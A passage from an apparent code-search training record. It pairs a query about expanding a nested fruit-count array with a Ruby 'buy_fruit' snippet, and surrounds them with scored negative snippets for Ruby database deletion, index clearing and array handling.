"def delete_all\n @objects.each do |o|\n o.delete \n end\n\n @objects.clear\n end",
"def delete_text_indexes(id, *fields)\n fields = @text_indexes.keys if fields.empty?\n fields.each do |field|\n indexes = text_indexes_for(id, field)\n redis.pipelined do\n indexes.each do |key|\n redis.srem(key, id)\n end\n # blow away the entire reverse index, because we deleted the object\n redis.del reverse_index_key(id, field)\n end\n end\n end",
"def delete\n blacklight_items.each do |r|\n solr.delete_by_id r[\"id\"]\n solr.commit\n end\n end",
"def index_data(*models)\n if models.nil? || models.empty?\n only_index = @indexed_models\n else\n only_index = models.collect{|m| m.to_s}\n end \n \n Mebla.log(\"Indexing #{only_index.join(\", \")}\", :debug)\n \n # Build up a bulk query to save processing and time\n bulk_query = \"\"\n # Keep track of indexed documents\n indexed_count = {}\n \n # Create the index\n if create_index\n # Start collecting documents\n only_index.each do |model|\n Mebla.log(\"Indexing: #{model}\")\n # Get the class\n to_index = model.camelize.constantize\n \n # Get the records \n entries = []\n unless to_index.embedded?\n if to_index.sub_class?\n entries = to_index.any_in(:_type => [to_index.name])\n else \n entries = to_index.any_in(:_type => [nil, to_index.name])\n end\n else\n parent = to_index.embedded_parent\n access_method = to_index.embedded_as\n \n parent.all.each do |parent_record|\n if to_index.sub_class?\n entries += parent_record.send(access_method.to_sym).any_in(:_type => [to_index.name])\n else\n entries += parent_record.send(access_method.to_sym).any_in(:_type => [nil, to_index.name])\n end\n end\n end\n \n # Save the number of entries to be indexed\n indexed_count[model] = entries.count \n \n # Build the queries for this model \n entries.each do |document|\n attrs = {} #document.attributes.dup # make sure we dont modify the document it self\n attrs[:id] = document.attributes[\"_id\"] # the id is already added in the meta data of the action part of the query\n \n # only index search fields and methods\n document.class.search_fields.each do |field|\n if document.attributes.keys.include?(field.to_s)\n attrs[field] = document.attributes[field.to_s] # attribute\n else\n attrs[field] = document.send(field) # method\n end\n end\n \n # index relational fields\n document.class.search_relations.each do |relation, fields| \n items = document.send(relation.to_sym) # get the relation document\n \n next if items.nil?\n \n # N relation side\n if items.is_a?(Array) || items.is_a?(Mongoid::Relations::Targets::Enumerable)\n next if items.empty?\n attrs[relation] = []\n items.each do |item|\n if fields.is_a?(Array) # given multiple fields to index\n fields_values = {}\n fields.each do |field|\n if item.attributes.keys.include?(field.to_s)\n fields_values.merge!({ field => item.attributes[field.to_s] }) # attribute\n else\n fields_values.merge!({ field => item.send(field) }) # method\n end\n end\n attrs[relation] << fields_values\n else # only index one field in the relation\n if item.attributes.keys.include?(fields.to_s)\n attrs[relation] << { fields => item.attributes[fields.to_s] } # attribute\n else\n attrs[relation] << { fields => item.send(fields) } # method\n end\n end\n end\n # 1 relation side\n else\n attrs[relation] = {}\n if fields.is_a?(Array) # given multiple fields to index\n fields_values = {}\n fields.each do |field|\n if items.attributes.keys.include?(field.to_s)\n fields_values.merge!({ field => items.attributes[field.to_s] }) # attribute\n else\n fields_values.merge!({ field => items.send(field) }) # method\n end\n end\n attrs[relation].merge!(fields_values)\n else # only index one field in the relation\n if items.attributes.keys.include?(fields.to_s)\n attrs[relation].merge!({ fields => items.attributes[fields.to_s] }) # attribute\n else\n attrs[relation].merge!({ fields => items.send(fields) }) # method\n end\n end\n end\n end \n \n # If embedded get the parent id\n if document.embedded?\n parent_id = document.send(document.class.embedded_parent_foreign_key.to_sym).id.to_s \n attrs[(document.class.embedded_parent_foreign_key + \"_id\").to_sym] = parent_id\n attrs[:_parent] = parent_id\n \n # Build add to the bulk query\n bulk_query << build_bulk_query(@slingshot_index_name, to_index.slingshot_type_name, document.id.to_s, attrs, parent_id)\n else\n # Build add to the bulk query\n bulk_query << build_bulk_query(@slingshot_index_name, to_index.slingshot_type_name, document.id.to_s, attrs)\n end\n end\n end\n else\n raise Mebla::Errors::MeblaIndexException.new(\"Could not create #{@slingshot_index_name}!!!\")\n end \n \n Mebla.log(\"Bulk indexing:\\n#{bulk_query}\", :debug) \n \n # Send the query\n response = Slingshot::Configuration.client.post \"#{Mebla::Configuration.instance.url}/_bulk\", bulk_query\n \n # Only refresh the index if no error ocurred\n unless response =~ /error/ \n # Log results\n Mebla.log(\"Indexed #{only_index.count} model(s) to #{self.slingshot_index_name}: #{response}\")\n Mebla.log(\"Indexing Report:\")\n indexed_count.each do |model_name, count|\n Mebla.log(\"Indexed #{model_name}: #{count} document(s)\")\n end\n \n # Refresh the index\n refresh_index\n else\n raise Mebla::Errors::MeblaIndexException.new(\"Indexing #{only_index.join(\", \")} failed with the following response:\\n #{response}\")\n end\n rescue RestClient::Exception => error\n raise Mebla::Errors::MeblaIndexException.new(\"Indexing #{only_index.join(\", \")} failed with the following error: #{error.message}\")\n end",
"def destroy\n result = database.delete_doc self\n if result['ok']\n self['_rev'] = nil\n self['_id'] = nil\n end\n result['ok']\n end",
"def destroy_documents(engine_name, ids)\n delete(\"engines/#{engine_name}/documents\", ids)\n end",
"def delete_all\n @reflection.through_reflection.klass.delete_all(@reflection.through_reflection.primary_key_name => @owner.id)\n reload\n end",
"def remove\n \n \n Document.destroy(self.document_id)\n self.destroy\n \n end",
"def delete_at_indexes_without_hooks( *indexes )\n \n @without_hooks = true\n\n objects = delete_at_indexes( *indexes )\n \n @without_hooks = false\n \n return objects\n \n end",
"def remove_index(*keys)\n keys.each do |key|\n raise \"Not implemented remove index on a relationship index\" if key.to_s.include?('.')\n indexer.remove_index_on_property(key)\n end\n end",
"def cleanup()\n Track.where(scanned: false).delete_all()\n Disc.delete_all(\"id NOT IN (SELECT DISTINCT(disc_id) FROM tracks)\")\n Album.delete_all(\"id NOT IN (SELECT DISTINCT(album_id) FROM tracks)\")\n Artist.delete_all(\"id NOT IN (SELECT DISTINCT(artist_id) FROM tracks)\")\n end",
"def clean_up_keyspace!(conn)\n conn.collection_names.each do |cf|\n coll = conn.collection(cf)\n coll.drop() unless cf == 'system.indexes'\n end\n end",
"def rm_index(*fields)\n @rm_indexed_field = fields\n end",
"def delete_docs(docs_array)\n docs_array.each { |doc| doc[\"_deleted\"] = true }\n bulk_docs(docs_array)\n end",
"def update_analysis\n model.wordcounts.destroy_all\n create_analysis\n delete_orphaned_keywords\n end",
"def clean_database\n [Entry, Room, User].each do |model|\n model.delete_all\n end\nend",
"def truncate_all\n Content::Version.all.map(&:destroy)\n ContentKey::Version.all.map(&:destroy)\n Content.all.map(&:destroy)\n ContentKey.all.map(&:destroy)\n end",
"def delete_all(conditions = \"\")\n collection.remove(XGen::SQL::Parser.parse_where(conditions, true) || {})\n end",
"def clear\n lock.synchronize do\n @uncommited.clear\n end\n Transaction.current.deregister_index self if Transaction.running?\n end",
"def clear(_options = nil)\n # TODO: Support namespaces\n @client.delete_by_query index: @index_name, type: 'entry', body: { query: { match_all: {} } }\n end",
"def clear_index\n @index = nil\n end",
"def destroy_analysis\n model.wordcounts.destroy_all\n delete_orphaned_keywords\n end",
"def destroy(bulk = false)\n raise ArgumentError, \"doc.database required to destroy\" unless database\n result = database.delete_doc(self, bulk)\n if result['ok']\n self['_rev'] = nil\n self['_id'] = nil\n end\n result['ok']\n end",
"def destroy\n @document.destroy\n end",
"def delete_from_cloud_search\n self.class.cloud_search_delete_document(\n self.cloud_search_document\n )\n end",
"def db_clear\n [Project, Milestone, Category, Version, LoaderRelease].each {|x| x.delete_all}\n end",
"def flush_db\n [ 'active_sources', 'data_records', 'semantic_properties', 'semantic_relations', 'workflows'].reverse.each { |f| ActiveRecord::Base.connection.execute \"DELETE FROM #{f}\" }\n # Also remove the \"unsaved cache\" for the wrappers (may be important during testing)\n TaliaCore::SemanticCollectionWrapper.instance_variable_set(:'@unsaved_source_cache', {})\n end",
"def delete_goo_models(gooModelArray)\n gooModelArray.each do |m|\n next if m.nil?\n m.delete\n end\n end",
"def clear_all\n Test.all.each do |test|\n test.clear_all\n test.save\n end\n \n redirect_to admin_root_path\n end",
"def destroy_all\n all.each do |n|\n n.destroy\n end\n end",
"def delete_all\n neo4j_query(\"MATCH (n:`#{mapped_label_name}`) OPTIONAL MATCH (n)-[r]-() DELETE n,r\")\n end"
] | [
"0.73813486",
"0.710216",
"0.6985876",
"0.69139147",
"0.6867081",
"0.6845587",
"0.68105596",
"0.6777101",
"0.6712296",
"0.66888297",
"0.6632032",
"0.6590071",
"0.65861154",
"0.6551862",
"0.65484494",
"0.6508819",
"0.65066814",
"0.64647835",
"0.64190495",
"0.63874674",
"0.6320195",
"0.6320195",
"0.6310328",
"0.62850595",
"0.6280665",
"0.628001",
"0.62705195",
"0.62229186",
"0.6212684",
"0.6209487",
"0.6209487",
"0.62022763",
"0.6194797",
"0.6175596",
"0.61691433",
"0.6168041",
"0.61363596",
"0.61305946",
"0.6107316",
"0.6084325",
"0.6068862",
"0.6050501",
"0.60495126",
"0.60277516",
"0.6019517",
"0.6016343",
"0.59629077",
"0.5951245",
"0.59362787",
"0.59312",
"0.5930509",
"0.5930017",
"0.5920316",
"0.5908601",
"0.5885898",
"0.5879297",
"0.58685815",
"0.5864672",
"0.58638966",
"0.5862671",
"0.58586067",
"0.5854043",
"0.58540034",
"0.5827415",
"0.5822595",
"0.5820575",
"0.5819395",
"0.58149546",
"0.58039916",
"0.5801397",
"0.57940155",
"0.57873476",
"0.5781227",
"0.5780115",
"0.57681394",
"0.5757344",
"0.57540923",
"0.57509696",
"0.5737894",
"0.5721725",
"0.57060784",
"0.57033604",
"0.5702736",
"0.5692681",
"0.5690668",
"0.5688865",
"0.56852156",
"0.5681742",
"0.5671268",
"0.5671211",
"0.5655708",
"0.56542766",
"0.5649268",
"0.5631963",
"0.5621513",
"0.56030643",
"0.5596704",
"0.5591483",
"0.55796796",
"0.55667067"
] | 0.67924154 | 7 |
input is a nested array output is an array of strings algo is to create empty array, iterate through input adding x number of strings to array | def buy_fruit(array)
returner = []
array.each{|subarray| subarray[1].times{returner << subarray[0]}}
returner
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def initiate_nested_array(n)\n nested_array = []\n n.times do\n nested_array << (' ' * n).split('')\n end\n\n nested_array\nend",
"def virus(array_input)\n new_array = [ ]\n number_of_loops = array_input.length\n index = array_input.length - 1\n\n number_of_loops.times do \n new_array << array_input[index]\n index = index - 1 \n end \n\n output = new_array\n return output\nend",
"def array(input_array)\n output = input_array + [100] # Creates a new array by adding '[]' to the string \"100\",\n # then combines \"input_array\" and \"[\"100\"]\" arrays by '+'\n return output\nend",
"def sub_arrays(arr)\n sub_arr = []\n i_arr = []\n arr.length.times do |x|\n arr.map do |ele1|\n i_arr += [ele1]\n sub_arr << i_arr\n end\n i_arr = []\n arr.shift\n end\n sub_arr\nend",
"def add_ly(array)\n array.collect! do |element|\n if element.is_a?(Array)\n add_ly(element)\n else\n element += \"ly\"\n end\n end\n return array\nend",
"def repa(array, x)\n result = []\n (1..x).each do\n result.concat(array)\n end\n return result\nend",
"def add_ly!(nested_stuff)\n counter = 0\n while counter < nested_stuff.length\n if nested_stuff[counter].kind_of?(Array)\n add_ly!(nested_stuff[counter])\n else\n nested_stuff[counter] += \"ly\"\n end\n counter += 1\n end\n\n nested_stuff\nend",
"def array_subsets(arr)\n return arr if arr.length == 0 || arr.length == 1\n new_arr = []\n new_arr << [arr[0]] + array_subsets(arr[1..-1])\n \n # length = 1\n # new_arr = [[]]\n # while length <= arr.length\n # arr.each do |el|\n # new_arr << Array.new(length) { el }\n # end\n # length += 1\n # end\nend",
"def arrays_of_arrays(names, specialties)\n result = []\n\n # initialize iterator\n i = 0\n\n #loops through names\n specialties.each do |specialty|\n\n # shovel sub_array into result\n result.push([names[i]] + [specialty])\n\n # increment iterator\n i += 1\n end\n return result\n\nend",
"def build_array\n setup\n while @e <= l\n make_word_candidates\n validate_word_match\n bank_valid_word_match(validate_word_match)\n begin_find_next_word(make_word_candidates)\n not_a_match(make_word_candidates)\n return array1\n end\n #return array1\n end",
"def buy_fruit(array)\n final_array = []\n array.each do |subarray|\n subarray[1].times do |_|\n final_array << subarray[0]\n end\n end\n final_array\nend",
"def rec_deep_dup(input)\n if !input.is_a?(Array)\n input\n else\n result = []\n input.each do |element|\n result << rec_deep_dup(element)\n end\n end\nend",
"def PermuteAll( arr_in )\n return arr_in if arr_in.count <= 1\n joinset = [\".\",\"-\",\"_\"]\n \n arr_out = []\n for k in 0..arr_in.count-1 do\n recurse = Array.new(arr_in)\n recurse.delete_at(k)\n temp = PermuteAll( recurse )\n for j in 0..temp.count-1 do\n arr_out += [arr_in[k] + temp[j]]\n joinset.each do |lolcat|\n arr_out += [arr_in[k] + lolcat + temp[j]]\n end\n end\n end\n return arr_out\n end",
"def build_new_array_from(array)\n\tb = []\n\n\tarray.each_index do |i|\n\t\tb.push(array[i]+array[i-1])\n\t\tif i == 0\n\t\t\tb.push(array[i])\n\t\telsif i == array.length - 1\n\t\t\tb.push(array[i])\n\t\tend\n\tend\n\tb.shift\n\treturn b\nend",
"def virus(input_array)\n i = input_array.length-1 \n new_array = []\n\n input_array.length.times do \n new_array << input_array[i]\n i -= 1\n end \n return new_array\nend",
"def array_translate(array)\n new_arr = []\n \n array.each_with_index do |subArray, idx|\n if idx % 2 == 1\n subArray = ele\n else\n subArray = num\n \n #num.times { new_arr << ele }\n end\n end\n\n #return new_arr\nend",
"def arr(n)\n\n return [n] if !n.kind_of?(Array)\n\n butts = []\n\n n.each do |ele|\n\n butts += arr(ele)\n end\n\n # if n.kind_of?(Array) == false\n # butts << n\n \n # else\n # arr(n[0])\n # end\n\n butts\n \n\nend",
"def convert_array(str)\n return \"*invalid input*\" if (str.length < 3) || (str.length % 3 != 0)\n\n set = str.length / 3 # determines number of iterations for a full set\n ary = str.split('')\n\n n = str.length / 3 # track the number of chars remaining in the sets\n a = 0\n i = 0\n\n for i in (1...set)\n ## insert method puts char BEFORE current index\n ## i represents the number of sets that have been itterated\n b = a + n\n b_value = ary.slice!(b)\n ary.insert(a + 1, b_value)\n\n c = b + n\n c_value = ary.slice!(c)\n ary.insert(a + 2, c_value)\n\n n -= 1 # all sets reduced by 1\n a += 3\n end\n\n ary.join\n\nend",
"def subsets(arr)\n return [[]] if arr.empty?\n\n val = arr[0]\n subs = subsets(arr.drop(1))\n new_subs = subs.map{ |sub| sub + val }\n\n subs + new_subs\nend",
"def subsets(arr)\n #base case(s)\n p arr\n return [arr] if arr.empty?\n # return [[], arr] if arr.length == 1\n #inductive step\n remaining_arr = subsets(arr[0...-1])\n remaining_arr + remaining_arr.map { |ele| ele + [arr.last] }\n # subsets(arr) + subsets(arr[0...-1])\nend",
"def join_ingredients(src)\n \n new_array = []\n \n new_array.push(\"I love #{src[0][0]} and #{src[0][1]} on my pizza\")\n new_array.push(\"I love #{src[1][0]} and #{src[1][1]} on my pizza\")\n new_array.push(\"I love #{src[2][0]} and #{src[2][1]} on my pizza\")\n \n\n new_array\nend",
"def subsets(arr)\n return [arr] if arr.empty?\n out = []\n subsets(arr[1..-1]).each do |s|\n out << s\n out << [arr[0]] + s\n end\n out\nend",
"def buy_fruit(grocery_list)\n grocery_list.each_with_object([]) do |sub_arr, arr|\n sub_arr[1].times { arr << sub_arr[0] }\n end\nend",
"def create_test_array(size)\n g = []\n count = 1\n (0..size-1).each do |i|\n g[i] = []\n (0..size-1).each do |j|\n g[i][j] = count\n count += 1\n end\n end\n g\nend",
"def make_list(array)\n array.compact!\n new_array = []\n number = 0\n array.each do |item|\n number += 1\n new_array << \"#{number}. #{item}\"\n end \n new_array\nend",
"def buy_fruit(array_of_arrays)\n result = []\n array_of_arrays.each { |array| array[1].times{ |i| result << array[0] } }\n result\nend",
"def my_collect(array)\n new_array = []\n # if array.size == 0\n # return 0\n # else\n counter = 0\n while counter < array.length\n new_array << yield(array[counter])\n counter += 1\n end\n \n new_array\nend",
"def subsets(array)\n return [[]] if array.empty?\n\n val = array[0]\n subs = subsets(array.drop(1))\n new_subs = subs.map { |sub| sub + [val] }\n\n subs + new_subs\nend",
"def chunk(array, n)\n arr_result = []\n sub_arr = []\n i = 0\n while i < array.length\n num = array[i]\n \n if sub_arr.length == n\n arr_result << sub_arr\n sub_arr = []\n end \n sub_arr << num\n\n i += 1\n end\n arr_result << sub_arr\n arr_result\nend",
"def array_subsets(arr)\n return [[]] if arr.empty?\n partial_subset = array_subsets(arr[0..-2])\n addition = partial_subset.map {|ele| ele + [arr[-1]]}\n partial_subset + addition\nend",
"def buy_fruit(array)\n array.each_with_object([]) do |arr, result|\n arr[1].times{|i| result << arr[0]}\n end\nend",
"def input1\n [\n [1, 0, 0, 0, 1],\n [0, 1, 0, 0, 5],\n [0, 0, 1, 0, 4],\n [0, 0, 0, 1, 3]\n ]\nend",
"def generate(num_rows)\n ans = [[1], [1, 1]]\n return [] if num_rows == 0\n return [[1]] if num_rows == 1\n return ans if num_rows == 2\n \n for i in 3..num_rows do \n curr_arr = [1] * i\n for j in 1..i - 2 do\n curr_arr[j] = ans[i - 2][j - 1] + ans[i - 2][j]\n end\n ans << curr_arr\n end\n ans\nend",
"def pack(a)\n\treps = Hash.new(1)\n prev = nil\n \n # filter out repeats\n a.select! {|v| prev == v ? (reps[v] += 1; false) : prev = v}\n \n # replace with nested arrays\n reps.each {|k, v| a[a.index k] = Array.new(v, k)}\n \n a\nend",
"def return_string_array(array)\n count = 0\n # create new array to store converted elements\n new_array = []\n # iterate over a provided array\n while count < array.length do\n # add each converted element to the end of a new array with Shovel Method\n new_array << array[count].to_s\n count += 1\n end\n # return new array\n new_array\nend",
"def build_array(node)\r\n return [] if node.nil?\r\n results = []\r\n results.concat build_array(node.left)\r\n results << node.payload\r\n results.concat build_array(node.right)\r\n results\r\nend",
"def stringsRearrangement(inputArray)\n p = inputArray.permutation.to_a\n result = Array.new\n \n p.each do |inputA|\n result << checkDiffByOne(inputA)\n end\n \n result.count(true)\nend",
"def my_collect(words_array)\n counter = 0\n new_array = [] # this is the array we will push it into\n # grab (iterate through) each item in that array\n while counter < words_array.length\n# push the result of that action into a new array\n new_array << yield(words_array[counter])\n counter += 1\n end\n new_array\nend",
"def make_list_a(array)\n\tstring_array = []\n\tarray.each do |element|\n\t\tstring_array << element.to_s\n\tend\n\tnumbered_array = []\n\tcounter = 0\n\tstring_array.each do |string|\n\t\tcounter += 1\n\t\tnumbered_array << \"#{counter}:#{string}\"\n\tend\n\tnumbered_array\nend",
"def create_an_array\n [\"oranges\",\"apples\",\"kiwis\",\"mangos\"]\nend",
"def nested_array\n curr = @nested\n @list.each do |num|\n r = rand(3)\n if r == 1\n curr << num\n elsif r == 2\n curr << []\n curr = curr[curr.length - 1]\n curr << num\n else\n curr = @nested\n curr << num\n end\n end\n @nested\n end",
"def partlist(arr)\n len = arr.length\n i = 0\n masterArr = []\n while i < len - 1 do\n masterArr << [arr[0..i].join(\" \")] + [arr[i+1..len].join(\" \")]\n i += 1\n end\n masterArr\nend",
"def buy_fruit(arr)\n new_arr = []\n\n arr.each { |element| element[1].times { |_| new_arr << element[0] } }\n p new_arr\nend",
"def f(n)\n # your code here\n result = []\n possibles = (2..n).flat_map{ |s| [*2..n].combination(s).map(&:join).to_a }\n p possibles\n possibles.each do |i|\n x = 0\n temp_arr = []\n temp = i.split('').map { |j| j.to_i }\n p temp\n while x < temp.length do \n if i[x + 1] != i[x] + 1 || i[x + 1] == nil\n temp_arr << i[x]\n end\n x += 1\n end\n result << temp_arr\n end\n result.length\nend",
"def generate_triples(outside_nodes, inside_nodes)\n triples = []\n # outside_nodes : ABCDE\n # inside_nodes : abcde\n inside_nodes.push(inside_nodes.first) # inside_nodes becomes abcdea\n # triples is going to be : Aab Bbc Ccd Dde Eea\n 0.upto(outside_nodes.size - 1) do |i|\n triple = outside_nodes[i, 1] + inside_nodes[i, 2] \n triples.push(triple)\n end\n triples\nend",
"def awesomesauced(strings)\n length_of_array = strings.length\n new_array = []\n index = 0\n\n while index < length_of_array\n new_array << strings[index]\n\n if index != length_of_array - 1\n new_array << \"awesomesauce\"\n end\n\n index += 1\n end\n\n return new_array\nend",
"def two_d_translate(array)\n new_array = []\n array.each do |sub_array|\n num = sub_array[1]\n ele = sub_array[0]\n num.times { new_array << ele }\n end\n\n new_array\nend",
"def two_d_translate(arr)\n new_arr = []\n\n arr.each do |subArray|\n ele = subArray[0]\n num = subArray[1]\n\n num.times { new_arr << ele }\n end\n\n return new_arr\nend",
"def add_s(arry)\n arry.map! do |item|\n item = item + \"s\"\n# arry[1] >> arry[1].slice(0..-2)\n\n end\n arry[1]=arry[1].slice(0..-2)\n arry\nend",
"def find_all_combos(str=[\"\"],arr={})\n if str.length == 1\n return str\n end\n i = 0\n #iterate over each string\n while i < str.length\n j = 0\n if !arr[str[i]]\n arr[str[i]] = true\n end\n while j < str.length\n #create a new string by combining with the other strings\n if j != i\n new_str = str[i] + str[j]\n\n new_arr = [new_str]\n \n k = 0\n #build a new array with the string\n while k < str.length\n if(k != i && k!=j)\n new_arr.push(str[k])\n end\n k+=1\n end\n arr[new_str] = true\n find_all_combos(new_arr,arr)\n end\n j+=1\n end\n i+=1\n end\n return arr\nend",
"def pyramid_sum(base)\n new_arr = [base]\n i = 0\n\n while new_arr.length < base.length\n new_arr.unshift(add_arrays(new_arr[i]))\n end\n\n return new_arr\nend",
"def buy_fruit(arr)\n output = []\n arr.each { |fruit, count| output += [fruit] * count }\n output\nend",
"def my_controlled_flatten(n)\n return self if n == 0\n new_arr = []\n self.each do |el|\n if el.is_a? (Array)\n new_arr += el.my_controlled_flatten(n-1)\n else\n new_arr << el\n end\n end\n new_arr\n end",
"def unflatten(flat_array)\n result = []\n x = 0\n\n while x < flat_array.length do \n if flat_array[x] < 3 \n result.push flat_array[x]\n x += 1\n else\n temp = [*flat_array[x...x + flat_array[x]]]\n result.push temp \n x += flat_array[x]\n end\n end\n result \nend",
"def join_nested_strings(src)\n # src will be an Array of Arrays of Strings and Integers\n # Combine all Strings present in the AoA into a single value and return it\n result = \"\"\n \n # loop over outer array\n row_index = 0\n while row_index < src.count do\n \n # loop over inner array\n element_index = 0\n while element_index < src[row_index].count do\n element = src[row_index][element_index]\n if element.is_a? String\n result += element + \" \"\n end\n \n # do something with each element of the inner array\n element_index += 1\n end\n\n row_index += 1\n end\n\n # return \"The brown fox ... \"\n result\nend",
"def subsets(arr)\n return [[]] if arr.empty?\n # debugger\n # take - return first n elements\n\n subArr = arr.take(arr.count - 1)\n\n subs = subsets(subArr)\n\n # concat Appends the elements of other_ary to self.\n # tyle co +\n subArrays = subs.map { |sub| sub + [arr.last] }\n subs.concat(subArrays)\nend",
"def my_controlled_flatten(n)\n return self if n == 0\n result = []\n self.each do |el|\n result << el unless el.is_a? Array\n result += el.my_controlled_flatten(n - 1) if el.is_a? Array\n end\n result\n end",
"def my_controlled_flatten(n)\n return self if n == 0\n result = []\n self.each do |el|\n result << el unless el.is_a? Array\n result += el.my_controlled_flatten(n - 1) if el.is_a? Array\n end\n result\n end",
"def my_array_splitting_method(source)\n integer_array = Array.new\n string_array = Array.new\n \n source.each do |piece|\n if piece.is_a?(Integer)\n integer_array << piece\n else\n string_array << piece\n end\n end\n master_array = integer_array,string_array\n return master_array\nend",
"def two_d_translate(arr)\n one_d_arr = []\n arr.each do | outer |\n outer.each.with_index do | inner, i |\n if i == 0\n outer[1].times do\n one_d_arr << inner\n end\n end\n end\n end\n return one_d_arr\nend",
"def generate_n_sets(array, number_of_sets)\n\nend",
"def my_controlled_flatten(n)\n return self if n < 1\n new_arr = []\n my_each {|el| new_arr += (el.is_a?(Array) ? el.my_controlled_flatten(n-1) : [el])}\n new_arr\n end",
"def initialize(input_arr=[])\n @internal_arr = []\n \n # take the input_arr and pass each value to add \n input_arr.each{|new_ele| add(new_ele)}\n\n end",
"def my_collect(input_array)\n if block_given?\n counter = 0\n output = []\n while counter < input_array.size\n output << yield(input_array[counter])\n counter +=1\n end\n output\n end\n\n\n\n\nend",
"def create_array_new(size)\n Array.new(size) { Array.new(size) { '0' } }\nend",
"def awesomesauce(string_array)\n awesome_array = []\n string_array.each do |i|\n awesome_array << i\n awesome_array << 'awesomesauce'\n end\n awesome_array.pop\n return awesome_array\nend",
"def my_controlled_flatten(n=1)\n #here\n return self if n < 1\n\n results = []\n self.each do |el|\n if el.class == Array\n #here\n results += el.my_controlled_flatten(n-1)\n else\n results << el\n end\n end\n\n results\n\n end",
"def nest_array(board)\n nested_board = []\n 9.times { nested_board << board.slice!(0..8)}\n return nested_board\nend",
"def join_nested_strings(array)\n string_array = []\n count = 0\n while count < array.length do\n\n inner_count = 0\n while inner_count < array[count].length do\n if array[count][inner_count].class == String\n string_array << array[count][inner_count]\n else\n string_array = string_array\n end\n inner_count += 1\n\n end\n count += 1\n end\n string_array.join(\" \")\nend",
"def array_translate(array)\n new_str = ''\n i = 0\n while i < array.length\n ele = array[i]\n num = array[i+1]\n num.times {new_str += ele}\n i += 2\n end\n return new_str\nend",
"def subsets(arr)\n return [[]] if arr.empty?\n\n last_el = arr.last\n results = []\n\n\n subsets(arr[0..-2]).each do |el|\n sub_arr = el << last_el\n results << sub_arr\n end\n\n subsets(arr[0..-2]) + results\nend",
"def num_patterns(input, num)\n # if input is \"bb\", we want to return, but we also need to keep track of how many b's are in the pattern.\n\n uniques = input.split(\"\").uniq\n return [[num / input.length]] if uniques.length == 1\n \n solution = []\n\n # recursively remove the first letter and assign a length to it\n char = input[0]\n next_string = input.delete(char)\n\n # calculate how long the first character can be based on how many times it appears in the pattern and how many characters total are in the pattern\n max_length = num - next_string.length\n num_char = input.count(char)\n\n # get the results from all the other characters recursively\n (1..max_length / num_char).each do |leng|\n next_pattern = num_patterns(next_string, num - leng * num_char)\n next_pattern.each do |arr|\n solution.push([leng] + arr)\n end\n end\n \n p solution\n return solution\nend",
"def my_array_splitting_method(source)\n new_array=[[], []]\n \n source.each do |x|\n if x.is_a?(Integer)\n new_array[0]<<x\n else \n new_array[1]<<x\n end\n end\nnew_array\n\nend",
"def flatten_repetition(list, named) # :nodoc:\n if list.any? { |e| e.instance_of?(Hash) }\n # If keyed subtrees are in the array, we'll want to discard all \n # strings inbetween. To keep them, name them. \n return list.select { |e| e.instance_of?(Hash) }\n end\n\n if list.any? { |e| e.instance_of?(Array) }\n # If any arrays are nested in this array, flatten all arrays to this\n # level. \n return list.\n select { |e| e.instance_of?(Array) }.\n flatten(1)\n end\n \n # Consistent handling of empty lists, when we act on a named result \n return [] if named && list.empty?\n \n # If there are only strings, concatenate them and return that. \n foldl(list) { |s,e| s+e }\n end",
"def batch_badge_creator(array)\n new_array = []\n array.each do |name|\n new_array << (\"Hello, my name is #{name}.\")\nend\n return new_array\nend",
"def two_d_translate(arr)\r\n newArray = []\r\n arr.each do |ele|\r\n ele[1].times do\r\n newArray << ele[0]\r\n end\r\n end\r\n return newArray\r\nend",
"def permutations(array)\n return array if array.length <= 1\n\n if array.length == 2\n return [array, array.reverse]\n end\n\n final_array = []\n\n array.length.times do\n set = array.take(array.length - 1)\n\n final_array += permutations(set).map do |item|\n item += [array.last]\n end\n\n next_item = array.shift\n array.push(next_item)\n end\n\n final_array\nend",
"def make_list(array)\n\ty = []\n\tarray.each_with_index do |element, index|\n\t\ty << \"#{index+1}. #{element}\"\n\tend\n\ty\nend",
"def initialize(input_arr = [])\n @internal_arr = []\n input_arr.each {|new_ele| add(new_ele)}\n\n end",
"def buy_fruit(array)\n fruits = []\n array.each do |subarray|\n subarray[1].times do\n fruits << subarray[0]\n end\n end\n fruits\nend",
"def get_perms(input_string)\n return [\"\"] if input_string.length == 0\n return [input_string] if input_string.length == 1\n input_array = input_string.split(\"\")\n letter = input_array.pop\n words = get_perms(input_array.join(\"\"))\n perms = []\n words.each do |word|\n (word.length+1).times do |idx|\n perms.push(word.dup.insert(idx,letter))\n end\n end\n perms\nend",
"def fds(n)\n\n # arr = []\n # (n + 1).times.each{|e| arr << e if e > 0}\n # arr.flat_map.reduce(:*)\n # arr.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n (1..n).to_a.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n\nend",
"def build_tree(input_array)\n sorted_set = input_array.sort.uniq\n build_tree_aux(sorted_set, 0, sorted_set.length - 1)\n end",
"def my_controlled_flatten(n)\n flattened = []\n self.my_each do |el|\n if n > 0 && el.is_a?(Array)\n flattened += el.my_controlled_flatten(n - 1)\n else\n flattened << el\n end\n end\n flattened\n end",
"def lengths(inputArray)\n newArr = []\n #could do p array.map{|word|word.length}\n newArr.push(inputArray.map{|words| words.length})\n p newArr\nend",
"def subsets(arr)\n return [[]] if arr.empty?\n sub = subsets(arr[0...-1])\n newsub = sub.map { |ele| ele + [arr.last] } \n sub + newsub\n\n\n# sub + arr[-1]\nend",
"def initialize(input_arr=[])\n \n @internal_arr = []\n\n # Pass each element in input_arr to 'add' method (if it isn't empty)\n input_arr.each { | ele | add(ele) } \n\n end",
"def matrix(input)\n # shortcut for making matrix\n #array = Array.new(input[0].length) {Array.new}\n new_array= []\n \n #creating structure\n #get number of columns to create number of rows\n input[0].length.times do\n new_array.push([]) \n end\n puts \"new_array #{new_array}\"\n\n i = 0 \n # i represents col for input\n # i represents row for new_array\n # [row][col]\n # input[j][i]\n # new_array[i][j]\n while i < input[0].length\n j = 0 \n # j represents row for input\n # j represents col for new_array\n # [row][col]\n # input[j][i]\n # new_array[i][j]\n while j < input.length\n \n value = input[j][i]\n #puts \"value #{input[j][i]}\"\n new_array[i].push(value) #i represents column, adding values into columns\n j += 1\n end\n # puts \"new_array #{new_array}\"\n i += 1\n end\n return new_array\nend",
"def build_array\n arr = []\n yield(arr)\n arr \n end",
"def pig_sentece(sentece)\n new_sentece = []\n sentece.each do |word|\n new_sentece << pig_word(word.dup)\n end\n new_sentece\nend",
